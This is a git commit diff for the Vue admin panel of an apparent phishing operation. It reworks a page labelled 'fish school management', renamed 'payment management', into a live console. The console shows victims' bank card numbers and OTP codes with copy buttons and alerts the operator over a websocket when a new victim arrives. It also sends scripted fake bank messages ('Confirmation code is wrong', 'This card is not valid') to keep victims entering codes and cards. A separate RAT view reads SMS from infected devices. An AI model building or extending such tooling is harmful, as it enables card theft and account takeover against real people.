x1ongzhu 1 year ago
parent
commit
7269e0575d

+ 1 - 2
.env.development

@@ -1,5 +1,4 @@
 VITE_BASE_URL=/
 VITE_API_BASE_URL=http://localhost:3333/api
 VITE_WS_URL=ws://localhost:3333
-VITE_IMAGE_PREFIX=https://zm-shorts.oss-cn-hangzhou.aliyuncs.com
-VITE_RAT_SOCKET_URL=http://localhost:3333/admin
+VITE_IMAGE_PREFIX=https://zm-shorts.oss-cn-hangzhou.aliyuncs.com

+ 1 - 2
.env.production

@@ -1,5 +1,4 @@
 VITE_BASE_URL=/admin/
 VITE_API_BASE_URL=/api
 VITE_WS_URL=/
-VITE_IMAGE_PREFIX=https://zm-shorts.oss-cn-hangzhou.aliyuncs.com
-VITE_RAT_SOCKET_URL=/admin
+VITE_IMAGE_PREFIX=https://zm-shorts.oss-cn-hangzhou.aliyuncs.com

+ 2 - 0
package.json

@@ -13,7 +13,9 @@
     "@aws-sdk/client-s3": "^3.458.0",
     "@aws-sdk/s3-request-presigner": "^3.458.0",
     "@vicons/tabler": "^0.12.0",
+    "@vueuse/components": "^10.9.0",
     "@vueuse/core": "^10.1.0",
+    "@vueuse/sound": "^2.0.1",
     "ali-oss": "^6.18.1",
     "axios": "^1.3.6",
     "date-fns": "^2.29.3",

BIN
src/assets/alert.mp3


+ 5 - 1
src/components/PagingTable.vue

@@ -2,7 +2,7 @@
     <div class="filter flex items-center" ref="filterEl">
         <slot name="filter"></slot>
     </div>
-    <ElConfigProvider :size="isMobile ? '' : 'small'">
+    <ElConfigProvider :size="size ? size : isMobile ? '' : 'small'">
         <ElTable :data="tableData" :height="tableHeight" stripe v-loading="loading">
             <slot></slot>
         </ElTable>
@@ -37,6 +37,10 @@ const props = defineProps({
     order: {
         type: String,
         default: () => 'createdAt,desc'
+    },
+    size: {
+        type: String,
+        default: () => ''
     }
 })
 const search = computed(() => {

+ 121 - 0
src/components/PagingTableMod.vue

@@ -0,0 +1,121 @@
+<template>
+    <div class="filter flex items-center" ref="filterEl">
+        <slot name="filter"></slot>
+    </div>
+    <ElConfigProvider :size="size ? size : isMobile ? '' : 'small'">
+        <ElTable :data="tableData" :height="tableHeight" stripe v-loading="loading">
+            <slot></slot>
+        </ElTable>
+    </ElConfigProvider>
+    <div class="mt-4 flex justify-center">
+        <ElPagination
+            ref="paginEl"
+            :layout="isMobile ? 'total, pager' : 'total, sizes, prev, pager, next, jumper'"
+            v-model:page-size="pageConfig.pageSize"
+            v-model:current-page="page"
+            :total="total"
+            :small="!isMobile"
+        />
+    </div>
+</template>
+<script setup>
+import { ref, onMounted, computed, watch, inject } from 'vue'
+import { http } from '@/plugins/http'
+import { ElMessage } from 'element-plus'
+import { useStorage, useElementBounding, useWindowSize } from '@vueuse/core'
+import { useDebounceFn } from '@vueuse/core'
+
+const props = defineProps({
+    url: {
+        type: String,
+        required: true
+    },
+    query: {
+        type: Object,
+        default: () => ({})
+    },
+    order: {
+        type: String,
+        default: () => 'createdAt,desc'
+    },
+    size: {
+        type: String,
+        default: () => ''
+    }
+})
+const search = computed(() => {
+    const query = { ...(props.query || {}) }
+    Object.keys(query).forEach((key) => {
+        if (query[key] === null) {
+            delete query[key]
+        }
+    })
+    return {
+        ...query,
+        order: props.order
+    }
+})
+
+const filterEl = ref(null)
+const paginEl = ref(null)
+const { height: filterHeight } = useElementBounding(filterEl)
+const { height: paginHeight } = useElementBounding(paginEl)
+const { height: windowHeight } = useWindowSize()
+const tableHeight = computed(() => windowHeight.value - 120 - filterHeight.value - paginHeight.value)
+const isMobile = inject('isMobile')
+
+const tableData = ref([])
+const page = ref(1)
+const pageConfig = useStorage('pageConfig', {
+    pageSize: 20
+})
+
+const total = ref(0)
+const loading = ref(false)
+const getData = useDebounceFn(async (reset = false) => {
+    if (reset) {
+        page.value = 1
+    }
+    try {
+        loading.value = true
+        const res = await http.get(props.url, {
+            page: page.value,
+            pageSize: pageConfig.value.pageSize,
+            ...search.value
+        })
+        loading.value = false
+        tableData.value = res.data
+        total.value = res.meta.total
+    } catch (e) {
+        loading.value = false
+        ElMessage.error(e.message)
+    }
+}, 100)
+
+onMounted(() => {
+    getData()
+})
+watch(search, () => {
+    console.log('search changed')
+    if (page.value !== 1) {
+        page.value = 1
+    } else {
+        getData()
+    }
+})
+watch([page, pageConfig], () => {
+    console.log('page changed')
+    getData()
+})
+defineExpose({
+    refresh: getData
+})
+</script>
+<style lang="less" scoped>
+.filter {
+    :deep(> *) {
+        margin-bottom: 15px;
+        margin-right: 15px;
+    }
+}
+</style>

+ 1 - 1
src/router/index.js

@@ -80,7 +80,7 @@ const router = createRouter({
                     name: 'phishes',
                     component: () => import('../views/PhishesView.vue'),
                     meta: {
-                        title: '鱼群管理'
+                        title: '支付管理'
                     }
                 }
             ]

+ 1 - 1
src/views/MainView.vue

@@ -113,7 +113,7 @@ const menus = [
     },
     {
         name: 'phishes',
-        title: '鱼群管理',
+        title: '支付管理',
         icon: Fish
     }
 ]

+ 141 - 25
src/views/PhishesView.vue

@@ -1,5 +1,5 @@
 <template>
-    <PagingTable url="/phishes" :query="query" ref="table">
+    <PagingTableMod url="/stripe" :query="query" ref="table" size="default">
         <template #filter>
             <ElInput
                 class="!w-52"
@@ -12,23 +12,65 @@
                     <ElButton :icon="Search" @click="table.refresh(true)" />
                 </template>
             </ElInput>
+            <ElSelect v-model="query.online" clearable>
+                <ElOption label="全部" value="" />
+                <ElOption label="在线" :value="true" />
+            </ElSelect>
         </template>
         <ElTableColumn prop="id" label="#" width="80" />
+        <ElTableColumn prop="createdAt" label="创建时间" :formatter="timeFormatter" width="150" />
+        <ElTableColumn label="在线" width="80" align="center">
+            <template #default="{ row }">
+                <ElTag :type="row.online ? 'success' : 'info'">{{ row.online ? '是' : '否' }}</ElTag>
+            </template>
+        </ElTableColumn>
         <ElTableColumn prop="step" label="状态" :formatter="stepFormatter" width="200" align="center">
             <template #default="{ row }">
                 <ElTag :type="stepType(row.step)">{{ stepFormatter(row.step) }}</ElTag>
             </template>
         </ElTableColumn>
-        <ElTableColumn prop="createdAt" label="创建时间" :formatter="timeFormatter" width="150" />
+
+        <ElTableColumn prop="card" label="银行卡" min-width="200">
+            <template #default="{ row }">
+                <div class="flex items-center">
+                    {{ row.card }}
+                    <UseClipboard v-if="row.card" v-slot="{ copy }" :source="row.card">
+                        <Copy @click="copy()" class="ml-2 inline min-w-[20px] w-[20px] cursor-pointer" />
+                    </UseClipboard>
+                </div>
+            </template>
+        </ElTableColumn>
+        <ElTableColumn prop="otp" label="OTP" min-width="80">
+            <template #default="{ row }">
+                <div class="flex items-center">
+                    {{ row.otp }}
+                    <UseClipboard v-if="row.otp" v-slot="{ copy }" :source="row.otp">
+                        <Copy @click="copy()" class="ml-2 inline w-[20px] cursor-pointer" />
+                    </UseClipboard>
+                </div>
+            </template>
+        </ElTableColumn>
         <ElTableColumn label="操作" align="center" width="120">
             <template #default="{ row }">
                 <el-dropdown @command="handleCommand($event, row)">
                     <ElButton :icon="DotsVertical"></ElButton>
                     <template #dropdown>
                         <el-dropdown-menu>
-                            <el-dropdown-item command="1">Action 1</el-dropdown-item>
-                            <el-dropdown-item command="2">Action 2</el-dropdown-item>
-                            <el-dropdown-item command="change_card"></el-dropdown-item>
+                            <el-dropdown-item command="send_sms" v-if="row.step === 'wait_for_check_card'">
+                                短信OTP
+                            </el-dropdown-item>
+                            <el-dropdown-item command="send_mail" v-if="row.step === 'wait_for_check_card'">
+                                邮箱OTP
+                            </el-dropdown-item>
+                            <el-dropdown-item command="reinput_otp" v-if="row.step === 'wait_for_check_otp'">
+                                OTP错误
+                            </el-dropdown-item>
+                            <el-dropdown-item
+                                command="change_card"
+                                v-if="row.step === 'wait_for_check_card' || row.step === 'wait_for_check_otp'"
+                            >
+                                重输卡号
+                            </el-dropdown-item>
                             <el-dropdown-item command="success">成功</el-dropdown-item>
                             <el-dropdown-item command="fail">失败</el-dropdown-item>
                         </el-dropdown-menu>
@@ -36,24 +78,50 @@
                 </el-dropdown>
             </template>
         </ElTableColumn>
-    </PagingTable>
+    </PagingTableMod>
 </template>
 <script setup>
-import { onMounted, reactive, ref } from 'vue'
-import PagingTable from '@/components/PagingTable.vue'
+import { onBeforeUnmount, onMounted, reactive, ref } from 'vue'
+import PagingTableMod from '@/components/PagingTableMod.vue'
 import { useTimeFormatter } from '@/utils/formatter'
 import { Plus, Search } from '@vicons/tabler'
 import EditDialog from '@/components/EditDialog.vue'
 import { setupEditDialog } from '@/utils/editDialog'
 import EnumSelect from '@/components/EnumSelect.vue'
 import { http } from '@/plugins/http'
-import { ElMessage } from 'element-plus'
+import { ElMessage, ElMessageBox } from 'element-plus'
 import { useClipboard } from '@vueuse/core'
 import SingleUpload from '@/components/SingleUpload.vue'
-import { DotsVertical } from '@vicons/tabler'
-const query = ref({})
+import { DotsVertical, Copy } from '@vicons/tabler'
+import { io } from 'socket.io-client'
+import { useSound } from '@vueuse/sound'
+import buttonSfx from '../assets/alert.mp3'
+import { UseClipboard } from '@vueuse/components'
+
+const query = ref({ online: true })
 const timeFormatter = useTimeFormatter()
 const table = ref(null)
+const { play: playSound } = useSound(buttonSfx)
+
+const socket = io(import.meta.env.VITE_WS_URL + '/paymentManage', {
+    path: '/ws',
+    transports: ['websocket']
+})
+socket.on('new', (data) => {
+    playSound()
+    table.value.refresh()
+})
+socket.on('update', (data) => {
+    playSound()
+    table.value.refresh()
+})
+let timer = setInterval(() => {
+    //table.value.refresh()
+}, 1000)
+onBeforeUnmount(() => {
+    socket.close()
+    clearInterval(timer)
+})
 const stepFormatter = (value) => {
     switch (value) {
         case 'input_card':
@@ -76,7 +144,7 @@ function stepType(value) {
     switch (value) {
         case 'wait_for_check_card':
         case 'wait_for_check_otp':
-            return 'primary'
+            return ''
         case 'success':
             return 'success'
         case 'fail':
@@ -85,19 +153,67 @@ function stepType(value) {
             return 'info'
     }
 }
-function handleCommand(command, row) {
-    console.log(command, row)
-    switch (command) {
-        case 'success':
-            http.put(`/phishes/${row.id}`, { step: 'success' }).then(() => {
-                table.value.refresh()
-            })
-            break
-        case 'fail':
-            http.put(`/phishes/${row.id}`, { step: 'fail' }).then(() => {
-                table.value.refresh()
-            })
-            break
+async function handleCommand(command, row) {
+    try {
+        switch (command) {
+            case 'success':
+                await http.put(`/stripe/admin/${row.id}`, { step: 'success' })
+                break
+            case 'fail':
+                await http.put(`/stripe/admin/${row.id}`, { step: 'fail' })
+                break
+            case 'send_sms':
+            case 'send_mail': {
+                try {
+                    const { value } = await ElMessageBox.prompt('请输入手机或邮箱尾号', 'OTP', {
+                        confirmButtonText: '确定',
+                        cancelButtonText: '取消'
+                    })
+                    let msg = ''
+                    if (command === 'sms') {
+                        msg = `We've sent you a text message to your registered phone number`
+                        if (value) {
+                            msg += ` ending in ${value}.`
+                        } else {
+                            msg += '.'
+                        }
+                    } else {
+                        msg = "We've sent you a text message to your registered email address"
+                        if (value) {
+                            msg += `(${value}).`
+                        }
+                    }
+                    await http.put(`/stripe/admin/${row.id}`, {
+                        step: 'input_otp',
+                        otpType: command === 'send_sms' ? 'sms' : 'email',
+                        otpMsg: msg
+                    })
+                } catch (error) {
+                    ElMessage.info('取消操作')
+                }
+                break
+            }
+            case 'reinput_otp': {
+                await http.put(`/stripe/admin/${row.id}`, {
+                    step: 'input_otp',
+                    errMsg: 'Confirmation code is wrong, please re-enter'
+                })
+                break
+            }
+            case 'change_card': {
+                await http.put(`/stripe/admin/${row.id}`, {
+                    step: 'input_card',
+                    errMsg: 'This card is not valid, please use another card'
+                })
+                break
+            }
+        }
+    } catch (error) {
+        ElMessage.error(error.message)
     }
+    table.value.refresh()
 }
+const { copy } = useClipboard({
+    legacy: true
+})
 </script>

+ 2 - 3
src/views/RatView.vue

@@ -70,8 +70,9 @@ const socket = ref(null)
 const smsList = ref([])
 const showSmsList = ref(false)
 onMounted(() => {
-    socket.value = io(import.meta.env.VITE_RAT_SOCKET_URL, {
+    socket.value = io(import.meta.env.VITE_WS_URL + '/admin', {
         path: '/ws',
+        transports: ['websocket']
     })
     socket.value.on('connect', () => {
         console.log('connected')
@@ -276,7 +277,5 @@ function clickCanvas(e) {
             }
         }
     }
-    canvas {
-    }
 }
 </style>

+ 54 - 0
yarn.lock

@@ -1343,6 +1343,11 @@
   resolved "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.16.tgz#1d12873a8e49567371f2a75fe3e7f7edca6662d8"
   integrity sha512-oh8q2Zc32S6gd/j50GowEjKLoOVOwHP/bWVjKJInBwQqdOYMdPrf1oVlelTlyfFK3CKxL1uahMDAr+vy8T7yMQ==
 
+"@types/web-bluetooth@^0.0.20":
+  version "0.0.20"
+  resolved "https://registry.npmmirror.com/@types/web-bluetooth/-/web-bluetooth-0.0.20.tgz#f066abfcd1cbe66267cdbbf0de010d8a41b41597"
+  integrity sha512-g9gZnnXVq7gM7v3tJCWV/qw7w+KeOlSHAhgF9RytFyifW6AF61hdT2ucrYhPq9hLs5JIryeupHV3qGk95dH9ow==
+
 "@vicons/tabler@^0.12.0":
   version "0.12.0"
   resolved "https://registry.npmmirror.com/@vicons/tabler/-/tabler-0.12.0.tgz#11924d2288e9346d47b44dd643ac20e72a32e089"
@@ -1461,6 +1466,25 @@
   resolved "https://registry.npmmirror.com/@vue/shared/-/shared-3.2.47.tgz#e597ef75086c6e896ff5478a6bfc0a7aa4bbd14c"
   integrity sha512-BHGyyGN3Q97EZx0taMQ+OLNuZcW3d37ZEVmEAyeoA9ERdGvm9Irc/0Fua8SNyOtV1w6BS4q25wbMzJujO9HIfQ==
 
+"@vueuse/components@^10.9.0":
+  version "10.9.0"
+  resolved "https://registry.npmmirror.com/@vueuse/components/-/components-10.9.0.tgz#5c1011e0511b68e4d94f5d545343f86d2a7e3044"
+  integrity sha512-BHQpA0yIi3y7zKa1gYD0FUzLLkcRTqVhP8smnvsCK6GFpd94Nziq1XVPD7YpFeho0k5BzbBiNZF7V/DpkJ967A==
+  dependencies:
+    "@vueuse/core" "10.9.0"
+    "@vueuse/shared" "10.9.0"
+    vue-demi ">=0.14.7"
+
+"@vueuse/core@10.9.0":
+  version "10.9.0"
+  resolved "https://registry.npmmirror.com/@vueuse/core/-/core-10.9.0.tgz#7d779a95cf0189de176fee63cee4ba44b3c85d64"
+  integrity sha512-/1vjTol8SXnx6xewDEKfS0Ra//ncg4Hb0DaZiwKf7drgfMsKFExQ+FnnENcN6efPen+1kIzhLQoGSy0eDUVOMg==
+  dependencies:
+    "@types/web-bluetooth" "^0.0.20"
+    "@vueuse/metadata" "10.9.0"
+    "@vueuse/shared" "10.9.0"
+    vue-demi ">=0.14.7"
+
 "@vueuse/core@^10.1.0":
   version "10.1.0"
   resolved "https://registry.npmmirror.com/@vueuse/core/-/core-10.1.0.tgz#7c3246bea35b24298040b2576de06ce87f38f4c6"
@@ -1486,6 +1510,11 @@
   resolved "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-10.1.0.tgz#041ab49abb17e760170606199c612c8937d2968f"
   integrity sha512-cM28HjDEw5FIrPE9rgSPFZvQ0ZYnOLAOr8hl1XM6tFl80U3WAR5ROdnAqiYybniwP5gt9MKKAJAqd/ab2aHkqg==
 
+"@vueuse/metadata@10.9.0":
+  version "10.9.0"
+  resolved "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-10.9.0.tgz#769a1a9db65daac15cf98084cbf7819ed3758620"
+  integrity sha512-iddNbg3yZM0X7qFY2sAotomgdHK7YJ6sKUvQqbvwnf7TmaVPxS4EJydcNsVejNdS8iWCtDk+fYXr7E32nyTnGA==
+
 "@vueuse/metadata@9.13.0":
   version "9.13.0"
   resolved "https://registry.npmmirror.com/@vueuse/metadata/-/metadata-9.13.0.tgz#bc25a6cdad1b1a93c36ce30191124da6520539ff"
@@ -1498,6 +1527,13 @@
   dependencies:
     vue-demi ">=0.14.0"
 
+"@vueuse/shared@10.9.0":
+  version "10.9.0"
+  resolved "https://registry.npmmirror.com/@vueuse/shared/-/shared-10.9.0.tgz#13af2a348de15d07b7be2fd0c7fc9853a69d8fe0"
+  integrity sha512-Uud2IWncmAfJvRaFYzv5OHDli+FbOzxiVEQdLCKQKLyhz94PIyFC3CHcH7EDMwIn8NPtD06+PNbC/PiO0LGLtw==
+  dependencies:
+    vue-demi ">=0.14.7"
+
 "@vueuse/shared@9.13.0":
   version "9.13.0"
   resolved "https://registry.npmmirror.com/@vueuse/shared/-/shared-9.13.0.tgz#089ff4cc4e2e7a4015e57a8f32e4b39d096353b9"
@@ -1505,6 +1541,14 @@
   dependencies:
     vue-demi "*"
 
+"@vueuse/sound@^2.0.1":
+  version "2.0.1"
+  resolved "https://registry.npmmirror.com/@vueuse/sound/-/sound-2.0.1.tgz#eafd886d17185ed66c583d8bf08c3cd51525b33b"
+  integrity sha512-7Fbp9lQkuUnpTXS9vPbvT2FDYHuwJbvKPivOYETaVVSmcZKoczw6zcsebsARkH5Ged0f045YUOZnV/RuCzyLXQ==
+  dependencies:
+    howler "^2.2.3"
+    vue-demi latest
+
 acorn-jsx@^5.3.2:
   version "5.3.2"
   resolved "https://registry.npmmirror.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz#7ed5bb55908b3b2f1bc55c6af1653bada7f07937"
@@ -2368,6 +2412,11 @@ has@^1.0.3:
   dependencies:
     function-bind "^1.1.1"
 
+howler@^2.2.3:
+  version "2.2.4"
+  resolved "https://registry.npmmirror.com/howler/-/howler-2.2.4.tgz#bd3df4a4f68a0118a51e4bd84a2bfc2e93e6e5a1"
+  integrity sha512-iARIBPgcQrwtEr+tALF+rapJ8qSc+Set2GJQl7xT1MQzWaVkFebdJhR3alVlSiUf5U7nAANKuj3aWpwerocD5w==
+
 humanize-ms@^1.2.0, humanize-ms@^1.2.1:
   version "1.2.1"
   resolved "https://registry.npmmirror.com/humanize-ms/-/humanize-ms-1.2.1.tgz#c46e3159a293f6b896da29316d8b6fe8bb79bbed"
@@ -3577,6 +3626,11 @@ vue-demi@*, vue-demi@>=0.14.0:
   resolved "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.0.tgz#dcfd9a9cf9bb62ada1582ec9042372cf67ca6190"
   integrity sha512-gt58r2ogsNQeVoQ3EhoUAvUsH9xviydl0dWJj7dabBC/2L4uBId7ujtCwDRD0JhkGsV1i0CtfLAeyYKBht9oWg==
 
+vue-demi@>=0.14.7, vue-demi@latest:
+  version "0.14.7"
+  resolved "https://registry.npmmirror.com/vue-demi/-/vue-demi-0.14.7.tgz#8317536b3ef74c5b09f268f7782e70194567d8f2"
+  integrity sha512-EOG8KXDQNwkJILkx/gPcoL/7vH+hORoBaKgGe+6W7VFMvCYJfmF2dGbvgDroVnI8LU7/kTu8mbjRZGBU1z9NTA==
+
 vue-eslint-parser@^9.0.1:
   version "9.1.1"
   resolved "https://registry.npmmirror.com/vue-eslint-parser/-/vue-eslint-parser-9.1.1.tgz#3f4859be7e9bb7edaa1dc7edb05abffee72bf3dd"